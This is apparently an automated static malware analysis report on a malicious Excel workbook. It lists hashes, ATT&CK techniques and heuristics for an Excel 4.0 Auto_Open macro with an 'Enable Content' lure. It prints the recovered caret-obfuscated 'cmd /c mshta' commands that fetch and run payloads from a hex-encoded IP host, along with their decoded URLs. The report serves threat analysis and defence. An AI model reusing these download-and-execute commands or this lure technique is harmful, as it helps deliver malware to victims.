Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 e28d901a7759826b…

MALICIOUS

Office (OLE) / .XLS

65.1 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 71e4944fc0dc1382a3750b0416b05019 SHA-1: f414f3fecc572d695a853e40c5b6a102bc03edd2 SHA-256: e28d901a7759826b1afc8ed1a2ae4fbb75e9e2795ccdcd3455cfdf38bc626eac
100 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Phishing: Spearphishing Attachment T1204.002 User Execution: Malicious File T1059.003 Command and Scripting Interpreter: Windows Command Shell T1105 Ingress Tool Transfer T1204.001 User Execution: Malicious Link T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

The sample uses a 'Enable Content' lure in the document body to trick the user into executing Excel 4.0 (XLM) macros. The extracted scripts contain a command to execute 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' and 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which uses caret symbols as obfuscation to execute mshta.exe to download and return a return a payload from the same host. The reconstructed values are 'http://0xc12a24f5/c.html' and 'http://0xc12a24f5/cc.html'.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes